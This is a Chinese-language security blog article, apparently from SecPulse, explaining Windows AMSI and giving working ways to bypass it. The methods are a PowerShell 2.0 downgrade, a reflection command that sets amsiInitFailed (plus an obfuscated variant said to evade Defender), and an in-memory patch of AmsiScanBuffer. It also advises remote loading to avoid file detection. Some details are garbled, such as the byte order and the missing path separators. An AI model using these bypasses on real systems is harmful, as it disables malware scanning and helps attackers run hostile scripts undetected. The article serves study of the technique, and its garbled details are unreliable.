AMSI(Antimalware Scan Interface)即反恶意软件扫描接口,是微软推出的安全模块。
AMSI实质上是一个DLL文件,位于 C:WindowsSystem32amsi.dll
,提供了以下接口:
AmsiCloseSession
:关闭由 AmsiOpenSession
打开的会话。
AmsiInitialize
:初始化 AMSI API。
AmsiNotifyOperation
:向反恶意软件提供程序发送任意操作的通知。
AmsiOpenSession
:打开可在其中关联多个扫描请求的会话。
AmsiResultIsMalware
:确定扫描结果是否指示应阻止内容。
AmsiScanBuffer
:扫描缓冲区中的内容中寻找恶意软件。
AmsiScanString
:扫描字符串中的恶意软件。
AmsiUninitialize
:删除 AmsiInitialize
最初打开的 AMSI API 实例。
powershell.exe
会加载 amsi.dll
:
在Windows中,AMSI被集成于以下场景和功能:
UAC
powershell
Windows脚本(cscript、wscript、JavaScript、VBScript)
.NET Assembly
WMI
默认使用环境:Windows 10
powershell 2.0及以下版本并没有接入AMSI,通过降级即可绕过。
目前常用的操作系统和预装powershell版本如下:
Windows Server 2008:1.0
Windows 7、Windows Server 2008 R2:2.0
Windows Server 2012:3.0
Windows Server 2012 R2:4.0
Windows 10:5.0
AMSI实际从Windows 10和Windows Server 2016开始默认安装,但是只有Windows 10默认可以降级到2.0,因为2.0的powershell需要.NET2/3/3.5 Runtime支持,Windows 10默认是安装了.NET Framework 3.5的。这并不绝对,要根据实际环境决定,管理员有可能出于某些工具或服务的需要安装了其他版本的.NET Framework.
无管理员权限时可通过查询注册表来获取安装的.NET Framework版本:
Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)p{L}'} | Select -ExpandProperty Version
有管理员权限可以直接查询是否支持powershell 2.0:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 #Windows 10
Get-WindowsFeature PowerShell-V2 #Windows Server 2016
以2.0版本启动powershell:
powershell.exe -v -version 2或在脚本前添加:
#requires -version 2之后使用支持2.0的攻击脚本就能不受AMSI干扰。
2. 脚本混淆
AMSI实际上是提供给杀软的接口,混淆实际上是对抗杀软的过程。需要混淆的点实际上就是敏感的地方,如命令、函数、对象、参数等,常用方法有:
大小写与特殊符号
字符串变换
变量替换
编码
……
既然AMSI是接口,那么是否可以让这个接口失效?对 System.Management.Automation.dll
进行逆向,可以看到在 System.Management.Automation.AmsiUtils
类中有一个私有静态变量 amsiInitFailed
,它在 ScanContent
中被使用:可以看到这一句:
if (AmsiUtils.amsiInitFailed)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
amsiInitFailed
值为 False
时会返回 AMSI_RESULT_NOT_DETECTED
,也就是未检测到,所以通过修改这个值就能达到让AMSI失效的目的。
命令如下:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
目前使用这条命令已经不能关闭AMSI了,应该是在Windows Defender里做了策略:但实际很好绕过,只需要简单混淆一下即可:
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
4. 内存patch
在AMSI的接口中,这两个的主要功能是扫描恶意软件:
AmsiScanBuffer
和AmsiScanString
来看一下
AmsiScanString
:实际最终调用的是AmsiScanBuffer
,那直接看它就行。可以看到许多if进去都是返回
0x80070057
,根据if的条件推断一下,应该是返回了一个错误值,查询文档可以得知这里返回的是HRESULT
错误代码,也就是E_INVALIDARG
,表示一个或多个参数无效。再看看
AmsiScanBuffer
原型:HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result);扫描结果有害还是无害是由
result
决定的,那么强制让其返回错误结束流程会不会影响结果?动手试一下,不绕过的时候会杀这个字符串:用WinDbg开始调试,看一下AmsiScanBuffer
:下面的汇编含义是返回对应的错误码:mov eax,0x80070057 ret转为机器码就是:
c380070057b8
(小端序翻转) 将机器码填入函数起始地址并测试:要注意,这里只是绕过了AMSI,文件如果落地,还有可能被杀软干掉,远程加载即可。
参考文章
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://sec-in.com/article/1115 https://fluidattacks.com/blog/amsi-bypass/
本文作者:白袍
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/182106.html